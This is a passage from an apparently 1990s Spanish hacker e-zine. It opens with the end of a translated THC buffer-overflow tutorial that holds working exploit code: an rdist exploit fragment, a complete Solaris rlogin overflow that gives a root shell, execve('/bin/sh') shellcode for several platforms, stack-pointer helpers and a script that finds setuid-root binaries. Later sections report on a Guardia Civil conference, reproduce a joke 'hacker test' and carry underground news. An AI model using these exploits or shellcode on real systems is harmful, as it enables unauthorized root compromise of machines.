  for(i=0;i<strlen(execshell);i++)
   *(ptr++)=execshell[i];
  ptr2=(long *)ptr;
  for(i=1;i<2;i++)
   *(ptr2++)=get_sp()+offset;

  printf("discovered by brian mitchell\ncoded by plasmoid/thc/deep\nfor
  thc-magazine issue #3\n");
  execl("/usr/bin/rdist", "rdist", "-d", buffer, "-d", buffer, NULL);
 }

 exploit[3]
 ~~~~~~~~~~
 /*
  * rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines
  * by exploiting the gethostbyname() overflow in rlogin.
  *
  * gcc -o rlogin-exploit rlogin-exploit.c
  *
  * Jeremy Elson, 18 Nov 1996
  * jeremy.elson@nih.gov
  */

 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/types.h>
 #include <unistd.h>

 #define BUF_LENGTH      8200
 #define EXTRA           100
 #define STACK_OFFSET    4000
 #define SPARC_NOP       0xa61cc013

 u_char sparc_shellcode[] =
 "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
 "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
 "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
 "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
 "\x82\x10\x20\x3b\x91\xd4\xff\xff";

 u_long get_sp(void)
 {
   __asm__("mov %sp,%i0 \n");
 }

 void main(int argc, char *argv[])
 {
   char buf[BUF_LENGTH + EXTRA];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode);

   long_p = (u_long *) buf;

   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
     *long_p++ = SPARC_NOP;
 
   char_p = (u_char *) long_p;

   for (i = 0; i < code_length; i++)
     *char_p++ = sparc_shellcode[i];

   long_p = (u_long *) char_p;

   targ_addr = get_sp() - STACK_OFFSET;
   for (i = 0; i < EXTRA / sizeof(u_long); i++)
     *long_p++ = targ_addr;

   printf("Jumping to address 0x%lx\n", targ_addr);

   execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
   perror("execl failed");
 }


 apendice[A]
 ~~~~~~~~~~~~~~~
 ----------------------------------------------------------------------------
 linux/i80386+
 ----------------------------------------------------------------------------
 codigo ensamblador:
 ~~~~~~~~~~~~~~
                jmp    end_of_code
 execve:        popl   %esi
                movl   %esi,0x8(%esi)
                xorl   %eax,%eax
                movb   %eax,0x7(%esi)
                movl   %eax,0xc(%esi)
                movb   $0xb,%al
                movl   %esi,%ebx
                leal   0x8(%esi),%ecx
                leal   0xc(%esi),%edx
                int    $0x80
                xorl   %ebx,%ebx
                movl   %ebx,%eax
                inc    %eax
                int    $0x80
 end_of_code:   call   exec_prog
                .string "/bin/sh\"

 cadena para c:
 ~~~~~~~~~~~~~~~~~~
 char execshell[] =
        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
        "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
        "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

 ----------------------------------------------------------------------------
 bsd/os/i80386+ and freebsd/i80386+
 ----------------------------------------------------------------------------
 ensamblador:
 ~~~~~~~~~~~~~~~
                jmp     end_of_code
 execve:        popl    %esi
                leal    (%esi), %ebx
                movl    %ebx, 0x0b(%esi)
                xorl    %edx, %edx
                movl    %edx, 7(%esi)
                movl    %edx, 0x0f(%esi)
                movl    %edx, 0x14(%esi)
                movb    %edx, 0x19(%esi)
                xorl    %eax, %eax
                movb    $59, %al
                leal    0x0b(%esi), %ecx
                movl    %ecx, %edx
                pushl   %edx
                pushl   %ecx
                pushl   %ebx
                pushl   %eax
                jmp     bewm
 end_of_code:   call    execve
                .string   '/bin/sh'
                .byte   1, 1, 1, 1
                .byte   2, 2, 2, 2
                .byte   3, 3, 3, 3
 bewm:          .byte   0x9a, 4, 4, 4, 4, 7, 4

 cadena para c:
 ~~~~~~~~~~~~~~~~~~
 char execshell[]=
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";



 ----------------------------------------------------------------------------
 solaris/sparc 
 ----------------------------------------------------------------------------
 ensamblador:
 ~~~~~~~~~~~~~~~
                sethi   0xbd89a, %l6
                or      %l6, 0x16e, %l6
                sethi   0xbdcda, %l7
                and     %sp, %sp, %o0
                add     %sp, 8, %o1
                xor     %o2, %o2, %o2
                add     %sp, 16, %sp
                std     %l6, [%sp - 16]
                st      %sp, [%sp - 8]
                st      %g0, [%sp - 4]
                mov     0x3b, %g1
                ta      8
                xor     %o7, %o7, %o0
                mov     1, %g1
                ta      8

 cadena para c:
 ~~~~~~~~~~~~~~~~~~
 char execshell[59]=
        0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90,
        0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03,
        0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,
        0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x08,0x90,0x1b,0xc0,0x0f,
        0x82,0x10,0x20,0x01,0x91,0xd0,0x20,0x08";

  version opcional:
  char execshell[54]=
            0x9fc0202c,0xc0247ff5,0xe227bff0,0xc027bff4,0x9207bff0,0x901d200a,
            0x901a200a,0x8210203b,0x91d02008,0x82102001,0x91d02008,0xa3c3e004,
            "/bin/sh";


 ----------------------------------------------------------------------------
 sunos/sparc 
 ----------------------------------------------------------------------------
 ensamblador:
 ~~~~~~~~~~~~~~~
                sethi   0xbd89a, %l6
                or      %l6, 0x16e, %l6
                sethi   0xbdcda, %l7
                and     %sp, %sp, %o0
                add     %sp, 8, %o1
                xor     %o2, %o2, %o2
                add     %sp, 16, %sp
                std     %l6, [%sp - 16]
                st      %sp, [%sp - 8]
                st      %g0, [%sp - 4]
                mov     0x3b, %g1
                mov     -0x1, %l5
                ta      %l5 + 1
                xor     %o7, %o7, %o0
                mov     1, %g1
                ta      %l5 + 1

 cadena para c:
 ~~~~~~~~~~~~~~~~~~
 char execshell[63]=
        0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90,
        0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03,
        0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,
        0xfc,0x82,0x10,0x20,0x3b,0xaa,0x10,0x3f,0xff,0x91,0xd5,0x60,0x01,
        0x90,0x1b,0xc0,0x0f,0x82,0x10,0x20,0x01,0x91,0xd5,0x60,0x01";

 ----------------------------------------------------------------------------
 hp-ux9/hp9000
 ----------------------------------------------------------------------------
 cadena para c:
 ~~~~~~~~~~~~~~~~~~
 char execshell[]=
        "\x34\x59\x01\x02\x34\x5a\x01\x32\x37\x5a\x3e\xf9\x6b\x3a\x3f\x01"
        "\x63\x40\x3f\xff\x34\x5a\x01\x38\x63\x40\x3f\x35\x37\x5a\x3e\xf9"
        "\x6b\x3a\x3f\x09\x63\x40\x3f\xff\x0b\x5a\x02\x9a\x6b\x3a\x3f\x11"
        "\x34\x5a\x01\x22\x37\x5a\x3e\xf9\x6f\x3a\x3e\xf9\x20\x20\x08\x01"
        "\x34\x16\x01\x1e\xe4\x20\xe0\x08\x36\xd6\x3e\xf9\x0b\x5a\x02\x9a"
        "\x20\x20\x08\x01\x34\x16\x01\x0a\xe4\x20\xe0\x08\x36\xd6\x3e\xf9"
        "\xe8\x5f\x1f\x35\x0b\x5a\x02\x9a\x01\x01\x01\x01\x01\x01\x01\x01"
        "\x01\x01\x01\x01\x01\x01\x01\x01\x00/bin/sh";

 apendice[B]
 ~~~~~~~~~~~
 ----------------------------------------------------------------------------
 no operation - nop - para diferentes sistemas
 ----------------------------------------------------------------------------
 linux/i80386+                            -  char nop[1]=0x90;
 bsd/os/i80386+ and freebsd/i80386+       -  char nop[1]=0x90;
 procesador solaris/sparc                 -  char nop[4]=0xac15a16e;
 procesador sunos/sparc                   -  char nop[4]=0xac15a16e;
 hp-ux9/hp9000                            -  char nop[4]=0xac15a16e;

 apendice[C]
 ~~~~~~~~~~~
 ----------------------------------------------------------------------------
 linux/i80386+ y bsd/os/i80386+ y freebsd/i80386+
 ----------------------------------------------------------------------------
 averiguando el puntero de la pila:
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 long get_sp()
 {
  __asm__("movl %esp,%eax");
 }

 ----------------------------------------------------------------------------
 procesador solaris/sparc y procesador sunos/sparc
 ----------------------------------------------------------------------------
 averiguando el puntero de la pila:
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 long get_sp()
 {
  asm("or %sp, %sp, %i0");
 }

 apendice[D]
 ~~~~~~~~~~
 ----------------------------------------------------------------[cut here]-
 #!/bin/sh
 # findsuid.sh by plasmoid/thc/deep
 # important directories for linux system, try different ones
 # for other systems (/usr/etc, /usr/local/bin, /usr/local/etc, /usr/sbin)
 find /bin -user root -perm +a=s > suid.lst
 find /sbin -user root -perm +a=s >> suid.lst
 find /usr/bin -user root -perm +a=s >> suid.lst
 find /etc -user root -perm +a=s >> suid.lst
 find /var -user root -perm +a=s >> suid.lst
 ----------------------------------------------------------------[cut here]-

 <END OF FiLE - THC iN 1996>

 TRADUCIDO POR IPgh0st
 UNDERHACK
 http://underhack.islatortuga.com

------------------------------------------------------------------------------

------------------------------------------------------------------------------

               
                      CONFERENCIA DE LA GUARDIA CIVIL        
                                 EN EL SIMO                   
                                                             
                                               BY NOBODY     
               
                                                             
                    
        Pues si, "los chicos de verde" desde que han creado una unidad
   especial contra los delitos informaticos, estan muy activos (seguimientos,
   detenciones, conferencias y vete a saber que mas ;-)

        Esta conferencia fue el viernes dia 7 de noviembre y su duracion era
   de 2 horas comenzando desde las 12:00 hasta las 14:00. La verdad es que
   estuvo bien y menos mal porque me tuve que fullar de una clase ;-) en la
   uni, fui con un colega (Angelipas) recuerdos !! 

        Entre los conferenciantes pudimos ver algunas personalidades en el
   campo, je je je. Eran 5 personas que nos estuvieron dando la conferencia
   que duro mas o menos una hora y luego fueron preguntas.

        Los cinco conferenciantes eran:
        
        - Sr Ribas : el mas famoso de todos ( el abogado del diablo "BSA").
        - Un periodista : el que controlaba la mesa, que por cierto metio la
          pata varias veces para encima presumir de que sabia del tema.
        - El director de Microsoft para luchar contra la pirateria: Algunas
          preguntas del publico no le gustaron mucho. ja ja ja
        - Un miembro de la Guardia Civil:  Nos solto el tipico rollo de lo
          efeciaz que eran y que tenian convenios en Europa con otros grupos
          policiales.
        - El director de la escuela de Ingenieros: La escuela ayuda a la poli.

        Pues estas cinco personas nos soltaron un discurso de unos 10 minutos.
  Fue bastante interesante, el que venia mas preparado era el miembro de la
  Guardia civil el cual nos paso unas diapositivas sobre el grupo de delitos
  informaticos. Nos informo que este grupo de la Guardia Civil han sido los
  primeros en usar sniffers para cazar a hackers (los de Tarragona) y que son
  pioneros, tambien nos dijo que cada cierto tiempo se renunen en Francia
  varios paises para intercambiar informacion de lo que pasa en esos paises
  (Espaa, Francia, Inglaterra, Alemania y Dinamarca). Los otros discursos
  no fueron muy interesantes ya que la conferencia se enfoco mas a lo
  tipico (software ilegal) que a los hackers.

        Una cosa bastante graciosa fue que dijeron que muchas empresas borran
  o se niegan a pasar los famosos log's lo que dificulta mucho su trabajo,
  ja ja ja (esto lo dijo el Sr. Ribas). 

        Despues vinieron las preguntas(je je je) y en algunas la cosa se
  calento un poco, entre el publico pudimos ver profesionales, profesores,
  gente del Proyecto Lucas e incluso caras conocidas del Hack ;-). Un
  profesor de la Universidad de Oviedo dejo helado al de Microsoft al decirle
  que los alunmos no pueden pagar los precios que se piden por los programas y
  que Microsoft no era la unica conpaia que produce software !!. El del
  Proyecto Lucas hizo tragar polvo a la conferencia, ja ja ja cuando demostro
  que hay formas de distribuir soft de una manera mejor y que no todos los
  hackers se dedican a entrar en ordenadores (dando un ejemplo que pego
  fuerte, porque el periodista se hizo el sordo). Tambien dijeron que
  poseer cualquier crack es ilegal y puede ser penalizado, pero que usar
  ingenieria inversa para desmontar un programa y estudiarlo o mejorarlo
  no es ilegal siempre y cuando no se copie para su comercializacion.

        Como anecdota, poco antes de finalizar la conferencia entro el
  Director de la Guardia Civil y nos solto un pequeo discurso, al acabar
  la conferencia se habia preparado un banquete :), Ipas y yop nos pusimos
  detras del Director de la Guardia civil cuando la tele lo estaba
  entrevistando pero debemos tener mala pinta porque nos hicieron mover de
  alli ;-)

  Y esto fue todo en la famosa conferencia de la Guardia Civil en el Simo.

  En el stand que la Guardia Civil tenia en el Pabellon 2, habia 2 mujeres y
  un hombre (una rubia con un morbo y el hombre por lo que me pude enterar
  fue el que hizo el peritaje a los ordenadores de los Hackers de Tarragona).
  Si pasabas por el Stand te llevabas unos folletos y unas pegatinas( Yo odio
  la pirateria informatica).

  Lo que pone en el folleto, ja ja ja :

  <------------------------------------>

  PIRATERIA INFORMATICA = COPIA NO AUTORIZADA DE SOFTWARE.

  - Reproduccion y uso de un programa sin autorizacion del titular del
    copyright, y el uso simultaneo por parte de varios usuarios conectados
    a una red local de un programa instalado en el servidor, cuando no este
    expresamente autorizado.
  - Venta de reproducciones ilegales de programas, como la venta de CD por
    correo, llegandose a falsificar incluso los envoltorios, sellos de
    autenticidad y hologramas.
  - Fabricacion, puesta en circulacion y tenecia de CRACKS (sistemas para
    neutralizar dispositivos de proteccion de programas).
  - Distribucion de ordenadores nuevos con reproducciones no autorizados de
    programas que se entregan en discos flexibles, en CD o instaladas en su
    disco duro, incluyendose los sistemas operativos.
  - Descarga en el propio ordenador de programas sin autorizacion del titular
    del copyright, procedentes de BBS o de INTERNET, via www, ftp, e-mail,
    canales news o IRC.
  - En Centros de Formacion, la entrega de copias no autorizadas a los
    alumnos, la instalacion no autorizada en los ordenadores de las aulas y el
    uso de un numero de copias superior al de licencias.
  - Comercializacion no autorizada de programas por ex-empleados desleales de
    la compaia que ostenta su legitima propiedad.

  (Joer , creo que me he saltado casi todos }:-)

  10 RAZONES POR LAS QUE DEBES USAR PROGRAMAS ORIGINALES EN TU ORDENADOR:

  1- Podras utilizar tu programa sin problemas.
  2- Si tienes problemas, te daran ayuda tecnica.
  3- Comprar las nuevas versiones del programa te costara mucho menos.
  4- Tendras manuales de ayuda.
  5- No tendras virus en tu ordenador.
  6- Respetaras los derechos de autor y el esfuerzo de los creadores de
  software.
  7- Ayudaras al desarrollo de empresas que disean programas. Asi mas
  personas tendran empleo.
  8- Habra mas empresas, lo que es bueno para todo el sector y la sociedad en
  general.
  9- Seras un buen usuario de programas.
  10- Piratear programas no merece la pena. Solo te traera problemas.

  AYUDANOS A PERSEGUIR A LOS BUCANEROS INFORMATICOS!

  Guardia Civil : http://www.guardiacivil.org
  Direccion General : consulta@guardiacivil.org
  Grupos de Delincuencia Informatica:gc.uco@mad.servicom.es
                                     gc.uco@recol.es
  Servicio de Policia Judicial: gc03@recol.es

  <-----------FIN------------------------>

        Pues esto ha sido todo colegas y solo me queda decir que a finales
  de Noviembre hay otra conferencias de varios dias en la Universidad de
  Merida, para mas informacion mirar el web de la Guardia Civil (tiene buena
  pinta y seguro que te ries, lastima que no pueda ir por la uni).

  Y desde aqui saludar a toda la pea de #hackers y #hack !!!!!!
  Grupos como - J.J.F.- , CYBERHACK, WAKANDA y todos los demas !!
  Con un especial saludo a los que vinieron al Simo !!

------------------------------------------------------------------------------

------------------------------------------------------------------------------

                         Ŀ
                           ERES UN HACKER???? 
                          

   Este test ha sido realizado por: Felix Lee, John Haynes y Angela Thomas.
   Tambien ha sido traducido por Mac Crack (JJF Hackers Team). Compartiendo
   conocimientos, aprendemos todos.

   Bueno, vamos al asunto:

   Puntuacion:

   Si tu puntuacion esta entre.... Eres....

     - 
      0 y 10     ->  Ni puta idea de que es un ordenador 
      11 y 40    ->  simplemente un usuario              
      41 y 80    ->  un operador                         
      81 y 90    ->  un novato                           
      91 y 100   ->  un hacker                           
      101 y 180  ->  un guru                             
      181 y 200  ->  un maestro                          
    

   Ah! si no entiendes la puntuacion, parate aqui, y si la entiendes,
   alla vamos....


   1. Has usado alguna vez un ordenador?
   2. ...por lo menos 4 horas seguidas?
   3. ...mas de 8 horas?
   4. ...mas de 16 horas?
   5. ...mas de 32 horas?
   6. Le has puesto celo a tu ordenador alguna vez?
   7. Has perdido alguna clase por quedarte programando?
   8. ...un examen?
   9. ...una boda?
   10. ...tu propia boda?
   11. Has programado borracho alguna vez?
   12. ...tenia sentido a la maana siguiente?
   13. Has programado alguna vez un simulador de vuelo?
   14. Te has cargado alguna vez el sello de garantia de alguna pieza de tu
   ordenador?
   15. has cambiado alguna vez el valor de 4?
   16. ...intencionadamente?
   17. ...en un lenguaje diferente a Fortran?
   18. Has usado DWIM para hacer tu vida mas interesante?
   19. Le has puesto nombre a algun ordenador?
   20. Te has quejado alguna vez por alguna palabra que no funcionaba
   correctamente?
   21. Has cambiado alguna vez de fondo?
   22. Cuantos dias tienes de edad?
   23. Te has intentado bajar alguna pizza de internet?
   24. Has inventado alguna vez un chiste sobre ordenadores?
   25. ...alguien lo pillo?
   26. Puedes recitar MacBeth?
   27. ...Al reves?
   28. Has visto "El pato Donald en Matematicalandia"?
   29. Has visto "Tron"?
   30. Has visto "Juegos de Guerra"?
   31. Sabes para que vale el ASCII?
   32. Y el EBCDIC?
   33. Puedes leer y escribir ASCII en hexadecimal?
   34. Te sabes el nombre de todos los codigos del ASCII?
   35. Puedes convertir de EBCDIC a ASCII y viceversa?
   36. Sabes que caracteres son iguales entre EBCDIC y ASCII?
   37. Tiene maxilares tu sistema?
   38. Has intentado definir tu propio numero para tener mas precision?
   39. Sabes escribir EBCDIC en hexadecimal?
   40. Puedes nombrar potencias de dos al menos hasta 2x1016 en orden
   arbitrario?
   41. ...y hasta 2x1032?
   42. ...y hasta 2x1064?
   43. Eres capaz de descifrar una tarjeta binaria simplemente mirando los
   agujeros?
   44. ...sintiendo los agujeros?
   45. Has remendado alguna vez codigo binario?
   46. ...incluso cuando estaba funcionando el programa?
   47. Has intentando alguna vez asfixiar un programa?
   48. Conoces a algun vicepresidente de IBM?
   49. ..no conoces a Bill, Dennis o ken?
   50. Has tomado alguna foto de un CRT?
   51. Has visto alguna pelicula en tu CRT?
   52. Has digitalizado alguna vez una foto?
   53. Siempre te olvidas de guardar tu osito de peluche?
   54. Has optimizado alguna vez un lazo IDE?
   55. Has optimizado alguna vez una burbuja?
   56. Te habla tu ordenador/terminal?
   57. Has hablado alguna vez con un modem?
   58. ...Te contesto?
   59. Puedes silvar 300 baudios?
   60. ...Y 1200?
   61. Puedes silvar numeros de telefono?
   62. Habia testigos cuando te cargaste el diskette?
   63. Has conseguido que tu disquetera "ande"?
   64. Has conseguido que te den un soplo?
   65. ...Sabes que coo es eso?
   66. Puedes escuchar musica a traves del cable de tu impresora?
   67. ..y de la diskettera?
   68. ..y desde la unidad zip?
   69. Tienes algun calendario de Snoopy?
   70. ...al dia?
   71. Al lado de la impresora tienes la foto de...
   72. ...Mona Lisa?
   73. ...El Enterprise?
   74. ...Einstein?
   75. ...Oliver Twist?
   76. ...realmente,alguna vez has impreso algo?
   77. Sabes para que vale...
   78. ...DASD?
   79. ...Emacs?
   80. ...ITS?
   81. ...RTST/E?
   82. ...SNA?
   83. ...Spool?
   84. ...TCP/IP
   85. Has usado alguna vez...TPU?
   86. ...TECO?
   87. ...Emacs?
   88. ...ED?
   89. ...VI?
   90. ...Xedit (en VM/CMS)?
   91. ...SOS?
   92. ...EDT?
   93. ...Wordstar?
   94. Has escrito alguna vez un CLIST?
   95. Has programado alguna vez en...X Windowing System?
   96. ...CICS?
   97. Has recibido alguna vez una fotocopia o fax de un diskette?
   98. Le has enseado a algun novato la tecla "cualquiera"?
   99. ...Era el boton para encender el ordenador?
   100. Has ido alguna vez a...Useunix?
   101. ...Decus?
   102. ...SHARE?
   103. ...SIGGHAPH?
   104. ...NetCom?
   105. Has participado alguna vez en un grupo standard?
   106. Has hecho alguna vez un debug de datos de un ordenador a traves de
   tu telefono?
   107. Has visto alguna vez el voice mail?
   108. ...Pudiste leerlo?
   109. Has resuelto algun puzzle con un diccionario on-line?
   110. Has hecho alguna vez un Hack Test?
   111. ...lo suspendiste?
   112. Has tirado alguna vez una baraja al suelo?
   113. ...La conseguiste ordenar otra vez?
   114. ...Con los ojos cerrados?
   115. Has usado alguna vez IPCS?
   116. Te han dado alguna caja de cerveza cuando compraste tu ordenador?
   117. Tu ordenador viene con colores de "diseo"?
   118. Has interrunpido alguna vez un UPS?
   119. Has apagado alguna vez un servidor?
   120. ...A proposito?
   121. ...Sigues trabajando alli?
   122. Has pulsado alguna vez el boton de emergencia del ordenador?
   123. ...a proposito?
   124. Tienes algun tipo de documentacion defectuosa?
   125. ...y todavia puedes leerla?
   126. Has descompilado alguna vez un programa?
   127. ...encontraste algun bug en el?
   128. Has ayudado a alguna persona detras de un mostrador con su
   ordenador/terminal?
   129. Has tratado de atormentar a tu telefono?
   130. Has tirado algun ordenador por la ventana?
   131. Has remendado algun bug para que el cliente no se entere de que lo
   hay?
   132. Has arreglado alguna vez un problema de hardware mediante software?
   133. ...y viceversa?
   134. Perteneciste alguna vez a un grupo ususario/servicio tecnico?
   135. Te han mencionado alguna vez en una convencion de ordenadores?
   136. Alguna vez an mencionado tus acciones en el periodico?
   137. ..sienta bien?
   138. Has parado alguna vez un disco duro mientras funcionaba?
   139. Has escrito comentarios en una lengua que no es la tuya?
   140. Has destruido fisicamente tu equipo mediante software?
   141. Has intentado mejorar tu puntuacion repitiendo este test?
   142. Te llevas el diccionario de palabras cuando vas a comer?
   143. ...y a la cama?
   144. Has remendado alguna vez un bug de microcodigo?
   145. ...y alrredepor del bug?
   146. Saber programar una maquina TURING?
   147. Puedes convertir un prefijo en sufijo en tu cabeza?
   148. Puedes convertir hexadecimal en octogonal en tu cabeza?
   149. Sabes como usar un KLEENEX STAR?
   150. Te has muerto de hambre cenando con filosofos?
   151. Conseguiste arreglar el problema?
   152. ...correctamoente?
   153. Estando en "punto muerto" has probado a comer spaguetti?
   154. Escribiste alguna vez un programa autorreproducible?
   155. Alguna vez cambiaste al "cambiador"?
   156. Puedes leer un croquis?
   157. ...necesitas uno?
   158. Has creado algun virus que se pueda matar?
   159. ...intencionadamente?
   160. Te han pedido alguna vez una "galleta"?
   161. Has acelerado un sistema quitandole un par de jumpers?
   162. Sabes... quien escribio Rogue?
   163. ...Rogomatic?
   164. ...codigo gris?
   165. ...que significa HCF?
   166. Lo has usado alguna vez?
   167. ...intencionadamente?
   168. Sabes que es una tarjeta de lazo?
   169. ...has usado alguna vez una?
   170. Sabes que es el final de una epoca?
   171. ...has celebrado el final de alguna?
   172. ...has tenido que reescribir el codigo?
   173. Sabes cual es la diferencia entre DTE y DCE?
   174. Sabes a que equivalen los pins de un puerto RS-232C?
   175. ...puedes enchufarlo sin mirar?
   176. Tienes.... una copia de Star Wars?
   177. ...una coleccion de chistes de Lepe?
   178. ...una copia del diccionario del Hacker?
   179. ...contribuiste en el diccionario?
   180. ...La plantilla de un organigrama?
   181. ...la usas?
   182. ...tienes tu propio archivo de galletas de la fortuna?
   183. Tienes el libro de cocina del anarquista?
   184. ..has cocinado algo de el?
   185. Tienes un Modem?
   186. ...una terminal?
   187. ...un ordenador de juguete?
   188. ...un PC?
   189. ...un mainframe?
   190. ...un superordenador?
   191. ...un supercubo?
   192. ...una impresora?
   193. ...una laser?
   194. ...una unidad zip?
   195. ...un periferico, cualquiera?
   196. ..una relacion estable?
   197. ...un miniordenador?
   198. Tienes una calculadora programable?
   199. ...es RPN?
   200. Alguna vez tuviste mas de 1 ordenador?
   201. ...4 ordenadores?
   202. ...8 ordenadores?
   203. Tienes una linea de telefono SLIP?
   204. ...y una TI?
   205. Tienes una linea de separacion entre tu modem y tu ordenador?
   206. ...y eso es legal?
   207. Tienes una memoria salvaje?
   208. ...de tambor?
   209. ...de burbujas?
   210. Usas mas de 16 megas de tu disco duro?
   211. ...256 megas?
   212. ...1 gb?
   213. ...16 gb?
   214. ...256 gb?
   215. ...1 terabyte?
   216. Tienes un disco optico?
   217. Tienes tu propia unidad zip personalizada?
   218. ...le has puesto etiqueta?
   219. Posees mas de 16 floppys?
   220. ...64?
   221. ...256?
   222. ...1024?
   223. Tienes discos de 8 pulgadas?
   224. ...y de 16?
   225. Tienes un reloj interruptor?
   226. Tienes alguno de los volumenes..."El arte de programar en C?
   227. ...has hecho todos los ejercicios?
   228. ...tienes un simulador MIX?
   229. ...puedes nombrar todos los volumenes que se han escrito?
   230. Puedes recitar el Quijote?
   231. ...ayudaste a escribirlo?
   232. Has participado en el proyecto OS/360?
   233. Tienes algun libro de bolsillo sobre TTL?
   234. Tienes documentos impresos de mas de tres aos?
   235. Carreras.... Tienes trabajo?
   236. ...lo has tenido alguna vez?
   237. ...relacionado con ordenadores?
   238. Trabajas con un horario "raro"?
   239. Fuiste alguna vez administrador de sistema?
   240. Tienes mas megabytes que megapelas?
   241. Has degradado alguna vez tu trabajo para optimizar tu procesamiento?
   242. Tienes un trabajo seguro?
   243. ...puedes probarlo?
   244. Alguna vez has tenido alguna oferta de seguridad informatica?
   245. Juegos.... Has jugado alguna vez al Pong?
   246. ...Space War?
   247. ...Star Trek?
   248. ...Whipeout?
   249. ...Warcraft?
   250. ...Empire?
 
   Bueno, de momento aqui esta la mayoria del Hacker Test, si tienes algun
   problema con el test, escribenos y hablaremos sobre ello, que aparte de
   Hackers tambien tenemos algo de psicologos.

   Tambien espero que os haya gustado, es un poco jodido traducirlo y que
   tenga gracia tambien, pero bueno, se hace lo que se puede.

   Hala hasta otra... 

                                                      Mac_Crack Bishop
                                                  - J.J.F. / HACKERS TEAM -

                                                    mac_crack@hotmail.com

------------------------------------------------------------------------------

------------------------------------------------------------------------------

                          ------------------------
                          - NOTICIAS UNDERGROUND -
                          ------------------------
                                           by   CONDE VAMPIRO
                                           - J.J.F. / HACKERS TEAM -


 WEB DEL CONGRESO HACKEADA.

        A principios de Noviembre el web del congreso espaol fue hackeada
 presuntamente por el grupo !H (no sera yo quien diga lo que significa :).
 Cuando conectas al web, aparecia una pantalla oscura con un grafico
 en el cual se veia un gran !H.
 Y debajo ponia la siguiente frase:
 "HAPPY HACKLOWEEN" y con otra que decia mas o menos "Seores del congreso,
 poner un web no es solo enchufar el ordenador.(!H)"

 -> http://www.congreso.es

 Nota: no me acuerdo exactamente de la frase, por eso si alguien se la sabe
 correctamente que me la envie para rectificar. thx.
 Al igual que cuando salga este e-zine el web del congreso ya estara
 arreglada.


 CLASES DE HACKING EN LA UNIVERSIDAD.

        Un Profesor de la Universidad de Salve Regina en Newport en los EE.UU.
 ha introducido una nueva asignatura llamana Computer Hacking 101.
        Nicholas Lund-Molfese ha enseado a muchos agentes de la policia como
 crackear password y construir y manejar Van Eck Devices, pequeas
 herramientas para monotorizar las frecuencias de los ordenadores.
 Un profesor de la Administracion Universitaria del departamento de
 Criminologia, Lund-Molfese esta enseando como romper la ley mediante los
 ordenadores. Pero tambien busca impartir en los estudiantes algunos
 conceptos basicos de la naturaleza humana. Y esto es: La gente no cambia --
 Lo que si es la tecnologia que ellos usan para cometer crimenes, dice Lund-
 Molfese.
        "Muchos delitos informaticos son fraudulentos, son falsos , y son
 solamente accidentes tecnologicos," dice Lund-Molfese, un abogado quien
 tambien mantiene un grado de filosofia.
        La primera materia impartida en el curso, llamada Cultura, Ordenadores
 y Leyes, es difundir la tecnologia entre las masas para que no tengan miedo
 de ella, afirma Lund-Molfese. "Un oficial de policia  que esta investigando
 un caso no puede mirar en un ordenador ligeremante y apagarlo". Entrar en un
 ordenador con los arcaicos comandos del DOS es una de las materias
 impartidas en cinco semanas, las cuales terminan el proximo mes.
        La clase requeire textos como "Secrets of a Super Hacker" por
 The Knightmare y "Information Warfare" por Winn Schwartau, un formidable
 libro clasificado usado en asignaturas gubernamentales, la unica materia
 permitida que Lund-Molfses pudo encontrar en una busqueda de curriculum.
        Al final del curso los alunos deben hacer un proyecto para aprobar.
 Uno de los posibles proyectos es demostrar como recuprar datos borrados o
 daados de un disco. Otra de las posibilidades es construir un Van Eck
 Device, romper criptografia debil o encontrar virus flotando por internet
 y disear un antivirus para ellos.


 UN CONOCIDO HACKER SOLICITA AYUDA LEGAL.

        El Sr. Kevin Mitnick ha sido retenido bajo custodia federal
 alegando delitos informaticos por mas de 30 meses. No teniendo recursos
 financieros, el Sr. Mitnick ha sido manipulado por la Defensa Federal. Al
 igual, el abogado de Mitnick no puede asistir a la sala del tribunal con
 actos civiles, como con una carta Habeas Corpus.
        El los 2 ultimos aos Mitnick se ha visto obligado para su propia
 defensa a buscar informacion legal en la seccion de leyes de el Metropolitan
 Detention Center (MDC) en los Angeles, California.
        La busqueda de Mitnick incluye casos parecidos al suyo para argumentar
 una mejor defensa. Los oficiles de la prision MDC han estado todo el rato
 entorpeziendo los esfuerzos de Mitnick negandole acceso a la libreria. A
